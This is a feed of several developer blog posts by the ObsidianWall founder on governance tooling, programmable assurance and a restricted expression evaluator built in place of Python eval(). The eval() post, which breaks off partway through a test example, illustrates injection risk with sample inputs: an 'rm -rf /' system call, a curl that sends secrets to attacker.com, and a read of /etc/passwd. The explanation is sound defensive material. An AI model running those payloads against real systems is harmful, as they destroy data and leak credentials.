&lt;p&gt;That distinction is intentional. Sentinel at this stage has no cloud API access. It cannot know whether a deployment actually ran or succeeded. It only knows whether the governance state of the plan matches the previous evaluation. So it records what it can actually observe.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;deployment_success&lt;/code&gt; would be a claim about what happened in production. Sentinel has no evidence for that claim. &lt;code&gt;no_drift&lt;/code&gt; is a claim about governance state. That it can verify directly.&lt;/p&gt;

&lt;p&gt;Small distinction. But this kind of precision is what separates a tool that's honest about its own limitations from one that manufactures confidence.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Three evidence streams, not one&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Building Sentinel forced me to think more clearly about the different kinds of evidence a governance system actually produces.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Decision Evidence&lt;/strong&gt; is what Verdict creates — what was decided, why, with what risk score, based on which conditions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reality Evidence&lt;/strong&gt; is what Sentinel creates — whether the governance state held after the decision was made. Did the plan drift? Did new failures appear?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Operational Evidence&lt;/strong&gt; is what neither of them creates yet — whether the deployment actually succeeded or caused an incident in production. That requires cloud API integration and comes later.&lt;/p&gt;

&lt;p&gt;Most governance tools collapse all three into a single log entry. "Passed." "Failed." Full stop.&lt;/p&gt;

&lt;p&gt;Keeping them separate matters because they answer genuinely different questions. Once you have all three, you can start asking things that governance tooling almost never supports: Did the policies that denied deployments actually prevent incidents? Are there controls that get overridden constantly without any subsequent problems — suggesting they're miscalibrated? Which policies generate friction without generating safety?&lt;/p&gt;

&lt;p&gt;That's governance intelligence. Not governance logging.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Where it stands&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Verdict is live and open source. Sentinel MVP shipped this week. The audit output is starting to show evidence from multiple streams in one place:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Deployment Outcomes

no_drift              2
deployment_success    2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two outcomes. Small number. But real evidence — not assumed outcomes, not synthetic telemetry. As that history grows, the insights engine stops guessing and starts reasoning from actual data.&lt;/p&gt;

&lt;p&gt;The repo is at &lt;a href="https://github.com/ObsidianWall/obsidianwall-verdict" rel="noopener noreferrer"&gt;github.com/ObsidianWall/obsidianwall-verdict&lt;/a&gt; if you want to look at the implementation or try it against your own Terraform plans.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>opensource</category>
      <category>security</category>
      <category>governance</category>
    </item>
    <item>
      <title>Defining Programmable Assurance</title>
      <dc:creator>Aisha</dc:creator>
      <pubDate>Mon, 01 Jun 2026 08:07:00 +0000</pubDate>
      <link>https://dev.to/aisha_ow/defining-programmable-assurance-3675</link>
      <guid>https://dev.to/aisha_ow/defining-programmable-assurance-3675</guid>
      <description>&lt;p&gt;&lt;em&gt;By Aisha Ibrahim &lt;br&gt;
Founder, ObsidianWall — building programmable&lt;br&gt;
  governance infrastructure for cloud and AI systems.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;For decades, organizations have relied on policies, standards, controls, audits, and governance processes to create assurance.&lt;/p&gt;

&lt;p&gt;Assurance answers a simple question:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;How do we know that what we intended is actually happening?&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Traditionally, assurance has been manual.&lt;/p&gt;

&lt;p&gt;Policies are written in documents.&lt;/p&gt;

&lt;p&gt;Controls are implemented separately by engineering teams.&lt;/p&gt;

&lt;p&gt;Auditors review evidence months later.&lt;/p&gt;

&lt;p&gt;Exceptions are tracked in spreadsheets.&lt;/p&gt;

&lt;p&gt;Approvals occur through emails and ticketing systems.&lt;/p&gt;

&lt;p&gt;The result is a governance gap between intent and reality.&lt;/p&gt;

&lt;p&gt;Organizations define what they want, but they often lack a reliable mechanism to continuously verify that reality matches that intent.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;u&gt;The Problem&lt;/u&gt;
&lt;/h2&gt;

&lt;p&gt;Modern organizations operate through software.&lt;/p&gt;

&lt;p&gt;Infrastructure is code.&lt;/p&gt;

&lt;p&gt;Security controls are code.&lt;/p&gt;

&lt;p&gt;Identity systems are code.&lt;/p&gt;

&lt;p&gt;AI systems are code.&lt;/p&gt;

&lt;p&gt;Yet governance remains largely document-driven.&lt;/p&gt;

&lt;p&gt;This creates a fundamental mismatch.&lt;/p&gt;

&lt;p&gt;Engineering operates at machine speed.&lt;/p&gt;

&lt;p&gt;Governance operates at human speed.&lt;/p&gt;

&lt;p&gt;The larger and more complex an organization becomes, the larger this gap grows.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;u&gt;What Is Programmable Assurance?&lt;/u&gt;
&lt;/h2&gt;

&lt;p&gt;Programmable Assurance is the discipline of expressing organizational intent as executable, verifiable, explainable, and continuously enforceable governance logic.&lt;/p&gt;

&lt;p&gt;Instead of relying solely on written policies and periodic audits, assurance becomes programmable.&lt;/p&gt;

&lt;p&gt;Intent becomes code.&lt;/p&gt;

&lt;p&gt;Controls become executable.&lt;/p&gt;

&lt;p&gt;Decisions become deterministic.&lt;/p&gt;

&lt;p&gt;Evidence becomes continuously generated.&lt;/p&gt;

&lt;p&gt;Accountability becomes traceable.&lt;/p&gt;

&lt;p&gt;Assurance is no longer a retrospective activity.&lt;/p&gt;

&lt;p&gt;It becomes a runtime capability.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;u&gt;Core Principles&lt;/u&gt;
&lt;/h2&gt;

&lt;p&gt;Programmable Assurance is built upon five principles.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Intent Must Be Executable
&lt;/h3&gt;

&lt;p&gt;Policies should not exist solely as documents.&lt;/p&gt;

&lt;p&gt;Organizational intent must be represented in a form that systems can evaluate automatically.&lt;/p&gt;

&lt;p&gt;Examples include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cost governance&lt;/li&gt;
&lt;li&gt;Security requirements&lt;/li&gt;
&lt;li&gt;Compliance obligations&lt;/li&gt;
&lt;li&gt;Identity controls&lt;/li&gt;
&lt;li&gt;Data governance requirements&lt;/li&gt;
&lt;li&gt;AI governance standards&lt;/li&gt;
&lt;li&gt;Resilience objectives&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Decisions Must Be Deterministic
&lt;/h3&gt;

&lt;p&gt;Governance decisions should be explainable and reproducible.&lt;/p&gt;

&lt;p&gt;Given the same inputs and policies, the system should produce the same outcome every time.&lt;/p&gt;

&lt;p&gt;Determinism creates trust.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Assurance Must Be Continuous
&lt;/h3&gt;

&lt;p&gt;Traditional audits occur periodically.&lt;/p&gt;

&lt;p&gt;Programmable Assurance operates continuously.&lt;/p&gt;

&lt;p&gt;Every proposed change can be evaluated before implementation.&lt;/p&gt;

&lt;p&gt;Every decision can generate evidence.&lt;/p&gt;

&lt;p&gt;Every exception can be recorded.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Governance Must Be Explainable
&lt;/h3&gt;

&lt;p&gt;Organizations need more than decisions.&lt;/p&gt;

&lt;p&gt;They need reasoning.&lt;/p&gt;

&lt;p&gt;A governance system should answer:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What decision was made?&lt;/li&gt;
&lt;li&gt;Why was it made?&lt;/li&gt;
&lt;li&gt;Which conditions influenced the outcome?&lt;/li&gt;
&lt;li&gt;What evidence supported the decision?&lt;/li&gt;
&lt;li&gt;Who approved exceptions?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Explainability transforms governance from a black box into an accountable process.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Accountability Must Be Programmable
&lt;/h3&gt;

&lt;p&gt;Governance is ultimately about accountability.&lt;/p&gt;

&lt;p&gt;Different stakeholders own different risks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Engineers own implementation.&lt;/li&gt;
&lt;li&gt;Security teams own security risk.&lt;/li&gt;
&lt;li&gt;Budget owners own financial risk.&lt;/li&gt;
&lt;li&gt;Compliance teams own regulatory risk.&lt;/li&gt;
&lt;li&gt;Executives own business risk.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Programmable Assurance routes governance decisions to the stakeholders responsible for those risks while preserving operational velocity.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;u&gt;Beyond Policy-as-Code&lt;/u&gt;
&lt;/h2&gt;

&lt;p&gt;Programmable Assurance is not merely Policy-as-Code.&lt;/p&gt;

&lt;p&gt;Policy-as-Code focuses on expressing rules as executable logic.&lt;/p&gt;

&lt;p&gt;Programmable Assurance encompasses a broader lifecycle:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Intent → Policy → Evaluation → Decision → Explainability → Accountability → Evidence → Continuous Assurance&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Policy execution is only one component.&lt;/p&gt;

&lt;p&gt;Assurance is the outcome.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;u&gt;Why This Matters&lt;/u&gt;
&lt;/h2&gt;

&lt;p&gt;As organizations become increasingly software-defined and AI-driven, governance can no longer remain document-centric.&lt;/p&gt;

&lt;p&gt;Organizations require systems capable of continuously translating intent into enforceable outcomes.&lt;/p&gt;

&lt;p&gt;Programmable Assurance provides a framework for achieving that goal.&lt;/p&gt;

&lt;p&gt;It transforms governance from static documentation into an active operational capability.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;The future of governance is not more policies.&lt;br&gt;
The future of governance is making assurance programmable.&lt;/code&gt;&lt;/p&gt;

</description>
      <category>governance</category>
      <category>devops</category>
      <category>terraform</category>
      <category>security</category>
    </item>
    <item>
      <title>Why I Didn't Use eval() in ObsidianWall's Policy Engine — And What I Built Instead</title>
      <dc:creator>Aisha</dc:creator>
      <pubDate>Mon, 25 May 2026 13:00:00 +0000</pubDate>
      <link>https://dev.to/aisha_ow/why-i-didnt-use-eval-in-obsidianwalls-policy-engine-and-what-i-built-instead-31kb</link>
      <guid>https://dev.to/aisha_ow/why-i-didnt-use-eval-in-obsidianwalls-policy-engine-and-what-i-built-instead-31kb</guid>
      <description>&lt;p&gt;&lt;em&gt;By Aisha Ibrahim&lt;br&gt;
Founder, ObsidianWall&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;When you're building a tool that evaluates policy expressions like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current_spend&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;estimated_cost&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;budget&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the obvious implementation is a single line of Python:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It works. It's clean. It takes five minutes to write.&lt;/p&gt;

&lt;p&gt;I didn't use it. Here's exactly why — and what I built instead.&lt;/p&gt;




&lt;h2&gt;
  
  
  What ObsidianWall Is
&lt;/h2&gt;

&lt;p&gt;Before getting into the technical decision, some context.&lt;/p&gt;

&lt;p&gt;ObsidianWall is a &lt;strong&gt;programmable assurance platform&lt;/strong&gt; — a system for encoding human governance intent as executable policy, evaluating it deterministically, and enforcing it transparently with full audit traceability.&lt;/p&gt;

&lt;p&gt;The core doctrine of the platform is this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;AI may advise. AI may explain. AI may optimize. AI may recommend.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;AI may NOT authoritatively govern.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That single principle drives every architectural decision in the platform, including the one this article is about.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ObsidianWall Verdict&lt;/strong&gt; is the first executable built on that platform — a deterministic pre-deployment infrastructure governance engine. It evaluates infrastructure plans against policy before deployment happens, produces an enforcement decision, and generates an audit-grade trace of exactly how that decision was reached.&lt;/p&gt;

&lt;p&gt;The expression evaluator is at the heart of how Verdict makes those decisions. And that is where &lt;code&gt;eval()&lt;/code&gt; became the wrong answer.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem With eval() in a Governance Engine
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;eval()&lt;/code&gt; executes arbitrary Python expressions. That sentence sounds harmless until you think carefully about what "arbitrary" means in the context of a system that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Accepts policy files written by humans&lt;/li&gt;
&lt;li&gt;Processes infrastructure plans from CI/CD pipelines&lt;/li&gt;
&lt;li&gt;Makes enforcement decisions that block or allow deployments&lt;/li&gt;
&lt;li&gt;Produces audit records that compliance teams rely on&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In that context, "arbitrary" means any of the following become valid inputs to your evaluator:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Someone writes this as a policy condition expression:
&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__import__(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;).system(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;rm -rf /&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# Or this:
&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__import__(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;subprocess&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;).call([&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;curl&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;, &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http://attacker.com&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;, &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;-d&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;, secrets])&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# Or something subtler:
&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/etc/passwd&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;).read() == &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;root&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;eval()&lt;/code&gt; executes all of them without question.&lt;/p&gt;

&lt;p&gt;The standard advice is to sandbox it by removing builtins:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__builtins__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{}},&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is not sufficient. Python's object model provides paths back to dangerous capabilities through class hierarchies even with builtins removed. Security researchers have broken every Python eval sandbox ever published. This is a fundamentally unsolved problem — not an engineering challenge you can outthink with a clever enough sandbox.&lt;/p&gt;

&lt;p&gt;But the security problem is not even the most important reason to reject &lt;code&gt;eval()&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Real Problem: Auditability
&lt;/h2&gt;

&lt;p&gt;A governance engine is not a calculator. It is a system that makes enforcement decisions about infrastructure and produces audit records that humans, compliance teams, and regulators rely on.&lt;/p&gt;

&lt;p&gt;For that system to be trustworthy, every decision must be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Deterministic&lt;/strong&gt; — the same input always produces the same output, without exception&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Auditable&lt;/strong&gt; — a human reading the trace can verify the decision independently without running any code&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bounded&lt;/strong&gt; — the complete set of things the evaluator can do is finite, known, and describable&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;eval()&lt;/code&gt; fails all three requirements.&lt;/p&gt;

&lt;p&gt;It is non-deterministic by design — side effects, I/O, and state mutations are all possible. It is not auditable — you cannot fully describe its behavior surface without describing all of Python. It is unbounded — it can do anything Python can do.&lt;/p&gt;

&lt;p&gt;What a governance engine actually needs is not a Python expression evaluator. It needs a &lt;strong&gt;restricted expression grammar&lt;/strong&gt; — a purposefully small language that can only do exactly what policy evaluation requires, and nothing else. The restriction is not a limitation. It is the entire point.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Solution: A Deterministic Expression Grammar
&lt;/h2&gt;

&lt;p&gt;ObsidianWall Verdict's condition evaluator supports a deliberately minimal grammar:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Comparison operators:   &amp;lt;=   &amp;gt;=   &amp;lt;   &amp;gt;   ==
Arithmetic operations:  addition  ( a + b )
Operand types:          context keys,  numeric literals
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is the complete grammar. No function calls. No variable assignment. No imports. No string manipulation. No loops. No conditionals beyond the comparison itself.&lt;/p&gt;

&lt;p&gt;If an expression requires anything outside this grammar, the evaluator does not attempt to execute it. It raises an error with a clear message. The boundary is explicit, enforced, and fully testable.&lt;/p&gt;

&lt;p&gt;This means a policy author can write:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;conditions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;budget_check&lt;/span&gt;
    &lt;span class="na"&gt;expression&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(current_spend&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;+&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;estimated_cost)&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;budget.amount"&lt;/span&gt;
    &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Monthly&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;spend&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;cap&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;enforcement"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the evaluator resolves it step by step:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Strip cosmetic parentheses&lt;/li&gt;
&lt;li&gt;Identify the comparison operator — &lt;code&gt;&amp;lt;=&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Split into left side and right side&lt;/li&gt;
&lt;li&gt;Resolve left side — &lt;code&gt;current_spend + estimated_cost&lt;/code&gt; — by looking up each key in the runtime context and summing them&lt;/li&gt;
&lt;li&gt;Resolve right side — &lt;code&gt;budget.amount&lt;/code&gt; — by looking up the key in the runtime context&lt;/li&gt;
&lt;li&gt;Apply the operator — &lt;code&gt;100 &amp;lt;= 50.0&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Return the result — &lt;code&gt;False&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Every step is traceable. Every step is verifiable. A compliance engineer reading the audit output can reconstruct the evaluation manually without running any code. That is what auditability means in practice — not just logging that a decision happened, but making the decision itself independently verifiable.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Normalization Layer — Bridging Human Intent and Machine Evaluation
&lt;/h2&gt;

&lt;p&gt;There is an architectural subtlety that took real design work to get right.&lt;/p&gt;

&lt;p&gt;Governance policies are written by humans in nested, readable structures:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;parameters&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;budget&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;amount&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;50&lt;/span&gt;
      &lt;span class="na"&gt;period&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;monthly&lt;/span&gt;
      &lt;span class="na"&gt;owner&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;team-alpha&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But the deterministic evaluator operates against a flat key-value context. It resolves &lt;code&gt;budget.amount&lt;/code&gt; — not nested object traversal, not dynamic attribute access, not recursive dict walking.&lt;/p&gt;

&lt;p&gt;The naive solution is to make the evaluator smart about nested structures. That is the wrong solution. It contaminates the evaluator with policy structure knowledge, destroys its determinism guarantees, and makes it significantly harder to audit.&lt;/p&gt;

&lt;p&gt;The correct solution is a &lt;strong&gt;normalization layer&lt;/strong&gt; that runs before evaluation — a dedicated component whose only job is to translate human-readable nested policy structures into evaluator-ready flat contexts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;Input:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"budget"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"amount"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"period"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"monthly"&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Output:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"budget.amount"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"budget.period"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"monthly"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After normalization, the evaluator receives a flat context. It resolves &lt;code&gt;budget.amount&lt;/code&gt; directly. It never needs to know how the policy was structured. The normalization layer is the bridge — and it is the only place in the system that understands both the policy structure and the evaluation context simultaneously.&lt;/p&gt;

&lt;p&gt;The evaluation pipeline becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Raw Policy YAML
      ↓
Canonicalize DSL structure
      ↓
Validate against schema contract
      ↓
Flatten + merge into runtime context     ← normalization layer
      ↓
Restricted expression evaluation         ← deterministic, bounded
      ↓
Decision + immutable audit trace
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each layer has one responsibility. Each layer can be tested independently. Each layer can be audited independently. No layer needs to understand what the others are doing internally.&lt;/p&gt;




&lt;h2&gt;
  
  
  What This Means for Testing
&lt;/h2&gt;

&lt;p&gt;Because the expression evaluator is a pure function with no side effects and a completely bounded input surface, testing it requires no mocking, no fixtures, and no infrastructure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_blocks_when_budget_exceeded&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;current_spend&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;estimated_cost&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;budget.amount&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mf"&gt;50.0&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;evaluate_expression&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(current_spend + estimated_cost) &amp;lt;= budget.amount&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;context&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_allows_when_within_budget&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
